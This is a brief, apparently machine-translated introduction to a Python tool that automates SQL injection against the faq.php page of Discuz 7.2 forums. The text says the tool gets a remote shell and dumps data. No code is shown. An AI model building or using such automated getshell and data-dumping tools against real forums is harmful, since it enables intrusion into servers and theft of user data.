This article mainly introduces the faq of Discuz7.2 written in Python. php injection vulnerability tool, a fully automatic injection tool. For Discuz7.2, you can refer to the Discuz 7.2 faq. php fully automated tools, getshell and dump data, python uc_key getshell code from the Internet (thanks to the author)
